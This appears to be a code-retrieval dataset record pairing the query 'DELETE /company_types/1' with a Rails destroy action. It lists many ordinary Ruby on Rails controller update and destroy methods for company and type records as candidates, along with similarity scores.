"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, :notice => 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @company.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(COMPANY_ID)\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to administration_company_path(@company), notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_type.update(contract_type_params)\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_type }\n else\n format.html { render :edit }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @company }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company_owner.update(company_owner_params)\n format.html { redirect_to @company_owner, notice: 'Company owner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n #format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n #format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: t(\"updated\") }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to companies_path, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n Rails.logger.info \"******\\n\\n\\nCompany: #{params[:company]}***********\\n\\n\\n\"\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @company = Company.find(params[:id])\r\n \r\n respond_to do |format|\r\n if @company.update_attributes(params[:company])\r\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @company.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @company = Company.find(params[:id])\n respond_to do |format|\n if @company.update(company_params)\n @company.email_format = nil if @company.allow_email_regex == false\n @company.save\n @company.track_company_activity(\" updated the company \")\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html {redirect_to @company, notice: 'Company was successfully updated.'}\n format.json {render :show, status: :ok, location: @company}\n else\n format.html {render :edit}\n format.json {render json: @company.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @data = return_all_details(company_params[:places_id])\n respond_to do |format|\n if @company.update(company_params)\n @company.update(rating: @data[\"result\"][\"rating\"])\n @company.update(phone_number: @data[\"result\"][\"formatted_phone_number\"])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @collection = @entity_type.collection\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company_field.update(company_field_params)\n format.html { redirect_to @company_field, notice: 'Company field was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_field }\n else\n format.html { render :edit }\n format.json { render json: @company_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html {redirect_to action: :index, notice: 'Company was successfully updated.'}\n format.json {render :show, status: :ok, location: @company}\n else\n format.html {render :edit}\n format.json {render json: @company.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n respond_to do |format|\n if @company.update!(nested_params)\n format.html { redirect_to @company, notice: \"#{@company.name} Company has been updated.\" }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to companies_path, notice: 'Общая информация о компании успешно отредактирована' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contact_type.update(contact_type_params)\n format.html { redirect_to @contact_type, notice: 'Contact type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contact_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @breadcrumb = 'update'\n @contracting_request_document_type = ContractingRequestDocumentType.find(params[:id])\n @contracting_request_document_type.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @contracting_request_document_type.update_attributes(params[:contracting_request_document_type])\n format.html { redirect_to @contracting_request_document_type,\n notice: (crud_notice('updated', @contracting_request_document_type) + \"#{undo_link(@contracting_request_document_type)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contracting_request_document_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_with(@company)\n end",
"def update\n @agency_type = AgencyType.find(params[:id])\n\n respond_to do |format|\n if @agency_type.update_attributes(params[:agency_type])\n format.html { redirect_to @agency_type, notice: 'Agency type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agency_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @global_company = GlobalCompany.find(params[:id])\n\n respond_to do |format|\n if @global_company.update_attributes(params[:global_company])\n format.html { redirect_to @global_company, notice: 'Global company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @global_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rail_company.update(rail_company_params)\n format.html { redirect_to @rail_company, notice: 'Rail company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rail_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @model_type.update(model_type_params)\n format.html { redirect_to @model_type, notice: 'Model type was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_type }\n else\n format.html { render :edit }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(company_params)\n format.js do\n if params[:update_formats]\n render 'update_formats'\n else\n render 'update'\n end\n end\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.js { render action: \"edit\" }\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @catalog_contract_type.update(catalog_contract_type_params)\n format.html { redirect_to @catalog_contract_type, notice: 'Contract type was successfully updated.' }\n format.json { render :show, status: :ok, location: @catalog_contract_type }\n else\n format.html { render :edit }\n format.json { render json: @catalog_contract_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @business_type = BusinessType.find(params[:id])\n\n respond_to do |format|\n if @business_type.update_attributes(params[:business_type])\n format.html { redirect_to @business_type, notice: 'Business type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @business_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @main_company.update(main_company_params)\n format.html { redirect_to @main_company, notice: 'Main company was successfully updated.' }\n format.json { render :show, status: :ok, location: @main_company }\n else\n format.html { render :edit }\n format.json { render json: @main_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @competence_type.update(competence_type_params)\n format.json { render :show, status: :ok, object: @competence_type }\n else\n format.json { render json: @competence_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Configurações da empresa alteradas com sucesso!' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_company_detail = Admin::CompanyDetail.find(params[:id])\n\n respond_to do |format|\n if @admin_company_detail.update_attributes(params[:admin_company_detail])\n format.html { redirect_to @admin_company_detail, :notice => 'Company detail was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @admin_company_detail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = companies_scope.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(company_params)\n format.html { redirect_to @company, notice: I18n.t('commons.successfully_updated') }\n format.json { head :no_content }\n format.js #\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n params[:company][:category_ids] ||= []\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to(@company, :notice => 'Company was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @company.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def tl_update_company_textfield_from_office\n office = params[:id]\n @company = 0\n if office != '0'\n @office = Office.find(office)\n @company = @office.blank? ? 0 : @office.company\n end\n render json: @company\n end",
"def update\n respond_to do |format|\n if @comm_type.update(comm_type_params)\n format.html { redirect_to @comm_type, notice: 'Comm type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @comm_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n if @company.update_attributes(params[:company])\n respond_with @company\n else\n respond_with @company, status: :unprocessable_entity\n end\n end",
"def update\n begin\n @company = Company.find(params[:id])\n detail = @@data_util.hash_data_to_upper_case(params[:company], ['description'])\n detail[:lastupdateby] = session[:username]\n\n @@request_result[:data] = detail \n @@request_result[:type] = params[:company].class \n if @company.update_attributes(detail)\n @@request_result[:success] = true\n @@request_result[:notice] = 'Company successfully updated.'\n else\n @@request_result[:errormsg] = @company.errors.full_messages[0]\n end\n rescue Exception => e\n @@request_result[:errormsg] = e.message\n end\n render json: @@request_result\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Empresa foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @commission_type.update(commission_type_params)\n format.html { redirect_to @commission_type, notice: 'Commission type was successfully updated.' }\n format.json { render :show, status: :ok, location: @commission_type }\n else\n format.html { render :edit }\n format.json { render json: @commission_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing_type.update(clothing_type_params)\n format.html { redirect_to @clothing_type, notice: 'Clothing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_type }\n else\n format.html { render :edit }\n format.json { render json: @clothing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\n if @invoced_company.update(invoced_company_params)\n format.html { redirect_to @invoced_company, notice: t(:successfully_updated_invoced_company) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invoced_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incident_type.update(incident_type_params)\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_type }\n else\n format.html { render :edit }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @client_type.update(client_type_params)\n render :show, status: :ok, location: @client_type\n else\n render json: @client_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @account_company.update(account_company_params)\n format.html { redirect_to @account_company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @account_company }\n else\n format.html { render :edit }\n format.json { render json: @account_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reform_type = ReformType.find(params[:id])\n\n respond_to do |format|\n if @reform_type.update_attributes(params[:reform_type])\n format.html { redirect_to @reform_type, notice: 'Reform type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reform_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_company_params\n params.require(:type_company).permit(:name)\n end",
"def update\n @incident_type = IncidentType.find(params[:id])\n\n respond_to do |format|\n if @incident_type.update_attributes(params[:incident_type])\n format.html { redirect_to @incident_type, notice: 'Incident type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @new_company.update(new_company_params)\n format.html { redirect_to @new_company, notice: 'Вы успешно отредактировали компанию' }\n format.json { render :show, status: :ok, location: @new_company }\n else\n format.html { render :edit }\n format.json { render json: @new_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Bar atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crunch_company = CrunchCompany.find(params[:id])\n @fetch_crunch = Crunchbase::Company.get(@crunch_company.company_name)\n @fetch_crunch_posts = @fetch_crunch.ipo\n\n respond_to do |format|\n if @crunch_company.update_attributes(params[:crunch_company])\n @crunch_company.update_attribute(:posts, @fetch_crunch_posts)\n format.html { redirect_to @crunch_company, notice: 'Crunch company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crunch_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type.update(type_params)\n end",
"def ajax_update\n params[:contact][:contact_type_ids] ||= []\n \n respond_to do |format|\n if @contact.update(contact_params)\n format.html { render action: 'ajax_show', :layout => nil, :id => @contact.id }\n format.json { head :no_content }\n else\n format.html { render action: 'ajax_edit' }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Cliente actualizado con exito' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n response_hash = @company.get_company_detail\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json {render json: {message: response_hash}, status: 200}\n else\n format.html { render :edit }\n error = @company.errors.keys[0].to_s.capitalize+\" \"[email protected][0][0].to_s\n format.json { render json: {message: error}, status: 422 }\n end\n end\n end"
] | [
"0.7487825",
"0.72119653",
"0.71939164",
"0.66199285",
"0.6487162",
"0.63711363",
"0.63375306",
"0.6316484",
"0.629656",
"0.628524",
"0.62073284",
"0.6207322",
"0.6205282",
"0.6205282",
"0.6192688",
"0.61853135",
"0.6184857",
"0.6184724",
"0.61748064",
"0.61711967",
"0.6154625",
"0.6153892",
"0.6153892",
"0.6153892",
"0.6153892",
"0.6153892",
"0.6153892",
"0.61408985",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.61396444",
"0.6138271",
"0.6132028",
"0.61296415",
"0.6120578",
"0.6110045",
"0.6104217",
"0.6101429",
"0.61012936",
"0.609916",
"0.6098002",
"0.6085511",
"0.6082591",
"0.6074728",
"0.60729194",
"0.6067627",
"0.6066538",
"0.604478",
"0.6035125",
"0.60347986",
"0.6030645",
"0.60276943",
"0.6026698",
"0.6017026",
"0.6011539",
"0.600914",
"0.6006672",
"0.60029733",
"0.6001503",
"0.60006547",
"0.59920305",
"0.5981118",
"0.5978328",
"0.59750694",
"0.5939621",
"0.59353405",
"0.59276295",
"0.5923175",
"0.59231454",
"0.59182835",
"0.5914572",
"0.59079033",
"0.590485",
"0.58980817",
"0.5883189",
"0.5858386",
"0.5851157",
"0.58493805",
"0.5848945",
"0.58396727",
"0.58352405",
"0.5829655",
"0.58223486",
"0.5820995",
"0.58154756",
"0.58138484",
"0.58134294",
"0.5811806",
"0.5811721",
"0.5806736",
"0.57975864"
] | 0.7569093 | 0 |
DELETE /company_types/1 DELETE /company_types/1.json | def destroy
@company_type.destroy
head :no_content
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @admin_company_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_company_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:type])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to company_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_company.destroy\n respond_to do |format|\n format.html { redirect_to type_companies_url, notice: 'Type company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @contractor_type = ContractorType.find(params[:id])\n @contractor_type.destroy\n\n respond_to do |format|\n format.html { redirect_to contractor_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract_type = ContractType.find(params[:id])\n @contract_type.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @rail_company.destroy\n respond_to do |format|\n format.html { redirect_to rail_companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate_type = CrateType.find(params[:id])\n @crate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to crate_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client_type = ClientType.find(params[:id])\n @client_type.destroy\n\n respond_to do |format|\n format.html { redirect_to client_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tyc_company.destroy\n respond_to do |format|\n format.html { redirect_to tyc_companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agency_type = AgencyType.find(params[:id])\n @agency_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agency_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_company_detail = Admin::CompanyDetail.find(params[:id])\n @admin_company_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_company_details_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @business_type = BusinessType.find(params[:id])\n @business_type.destroy\n\n respond_to do |format|\n format.html { redirect_to business_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @global_company = GlobalCompany.find(params[:id])\n @global_company.destroy\n\n respond_to do |format|\n format.html { redirect_to global_companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crunch_company = CrunchCompany.find(params[:id])\n @crunch_company.destroy\n\n respond_to do |format|\n format.html { redirect_to crunch_companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contact_type.destroy\n respond_to do |format|\n format.html { redirect_to contact_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@company = Company.find_by_slug(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @company = Company.find(params[:id])\r\n @company.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to companies_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @company_shift.destroy\n @company_types = CompanyType.all\n end",
"def destroy\n @contract_type.destroy\n respond_to do |format|\n format.html { redirect_to contract_types_url, notice: 'Contract type a bien été supprimé.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company_owner.destroy\n respond_to do |format|\n format.html { redirect_to company_owners_url }\n format.json { head :no_content }\n end\n end",
